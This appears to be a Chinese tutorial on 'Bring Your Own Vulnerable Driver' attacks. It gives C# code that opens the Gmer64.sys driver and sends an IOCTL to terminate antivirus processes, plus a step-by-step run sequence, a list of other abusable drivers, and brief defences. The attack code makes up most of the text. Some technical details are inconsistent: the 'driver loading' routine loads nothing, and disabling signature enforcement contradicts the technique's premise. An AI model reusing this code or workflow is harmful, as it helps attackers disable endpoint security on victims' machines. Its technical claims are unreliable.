BYOVD技术实战:利用内核驱动关闭杀软进程
字数 1025 2025-08-19 12:42:38
BYOVD技术实战:利用内核驱动关闭杀软进程
1. BYOVD技术概述
BYOVD(Bring Your Own Vulnerable Driver)是一种高级对抗技术,攻击者通过植入易受攻击的合法驱动程序到目标系统,利用这些驱动的漏洞执行恶意操作。由于这些驱动程序通常具有合法的数字签名,安全软件会信任它们,从而绕过检测。
技术特点:
- 使用已签名的合法驱动程序
- 利用驱动程序的漏洞实现特权提升或绕过安全机制
- 在内核层面进行操作,具有高权限
- 难以被传统安全软件检测
2. 目标驱动分析:Gmer64.sys
Gmer64.sys是一款反rootkit工具的驱动程序,存在以下关键漏洞:
漏洞细节:
- IOCTL处理漏洞:驱动程序的IOCTL(输入输出控制)接口存在设计缺陷
- 权限检查缺失:未对调用者权限进行充分验证
- 内存操作漏洞:允许用户模式程序直接操作内核内存
关键IOCTL代码:
#define GMER_IOCTL_CODE 0x80002000
3. 漏洞利用原理
利用Gmer64.sys的IOCTL接口,我们可以实现以下操作:
- 获取内核对象地址:通过驱动泄露内核信息
- 直接内存操作:修改关键数据结构
- 进程终止:直接操作EPROCESS结构终止进程
4. 利用代码实现(C#)
4.1 驱动加载
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
public class DriverLoader
{
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern SafeFileHandle CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
public const uint GENERIC_READ = 0x80000000;
public const uint GENERIC_WRITE = 0x40000000;
public const uint OPEN_EXISTING = 3;
public const uint FILE_ATTRIBUTE_NORMAL = 0x80;
public const uint FILE_SHARE_READ = 0x1;
public const uint FILE_SHARE_WRITE = 0x2;
public static SafeFileHandle LoadDriver(string driverPath)
{
SafeFileHandle hDevice = CreateFile(
driverPath,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
IntPtr.Zero,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
IntPtr.Zero);
if (hDevice.IsInvalid)
{
throw new Exception("Failed to open driver. Error: " + Marshal.GetLastWin32Error());
}
return hDevice;
}
}
4.2 IOCTL通信
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
SafeFileHandle hDevice,
uint dwIoControlCode,
IntPtr lpInBuffer,
uint nInBufferSize,
IntPtr lpOutBuffer,
uint nOutBufferSize,
out uint lpBytesReturned,
IntPtr lpOverlapped);
public const uint GMER_IOCTL_CODE = 0x80002000;
public static bool SendIoctl(SafeFileHandle hDevice, byte[] input, byte[] output)
{
IntPtr inBuffer = Marshal.AllocHGlobal(input.Length);
Marshal.Copy(input, 0, inBuffer, input.Length);
IntPtr outBuffer = Marshal.AllocHGlobal(output.Length);
try
{
uint bytesReturned;
bool success = DeviceIoControl(
hDevice,
GMER_IOCTL_CODE,
inBuffer,
(uint)input.Length,
outBuffer,
(uint)output.Length,
out bytesReturned,
IntPtr.Zero);
if (success && output.Length > 0)
{
Marshal.Copy(outBuffer, output, 0, output.Length);
}
return success;
}
finally
{
Marshal.FreeHGlobal(inBuffer);
Marshal.FreeHGlobal(outBuffer);
}
}
4.3 进程终止实现
public class ProcessTerminator
{
public static bool TerminateProcess(SafeFileHandle hDevice, int processId)
{
// 构造输入缓冲区:进程ID + 操作类型
byte[] input = new byte[8];
BitConverter.GetBytes(processId).CopyTo(input, 0);
BitConverter.GetBytes(1).CopyTo(input, 4); // 1表示终止操作
byte[] output = new byte[4]; // 接收操作结果
return SendIoctl(hDevice, input, output);
}
}
5. 完整利用流程
-
准备阶段:
- 将Gmer64.sys驱动程序部署到目标系统
- 确保驱动程序可以被加载(可能需要禁用驱动签名强制)
-
执行流程:
// 1. 加载驱动 var hDevice = DriverLoader.LoadDriver(@"\\.\Gmer64"); // 2. 获取目标杀软进程ID int avPid = Process.GetProcessesByName("avservice")[0].Id; // 3. 终止进程 bool success = ProcessTerminator.TerminateProcess(hDevice, avPid); // 4. 清理 hDevice.Close(); -
错误处理:
- 检查驱动加载是否成功
- 验证IOCTL调用返回值
- 处理权限不足等情况
6. 防御措施
检测BYOVD攻击:
- 驱动签名验证:检查加载的驱动程序是否来自可信来源
- 驱动行为监控:监控异常的内核操作
- IOCTL过滤:拦截可疑的驱动通信
防护建议:
- 启用驱动签名强制(DSE)
- 使用具备内核保护功能的安全产品
- 定期审计系统加载的驱动程序
- 限制非管理员用户加载驱动程序的权限
7. 扩展知识
其他易受攻击的常用驱动:
- RTCore64.sys (MSI Afterburner)
- dbutil_2_3.sys (Dell)
- speedfan.sys
进阶技术:
- 利用BYOVD进行内存读写
- 通过驱动漏洞实现DLL注入
- 持久化技术结合BYOVD
8. 法律与道德声明
BYOVD技术仅可用于合法的安全研究和授权测试。未经授权使用此技术攻击他人系统是违法行为。本文档仅供教育目的,使用者需自行承担风险。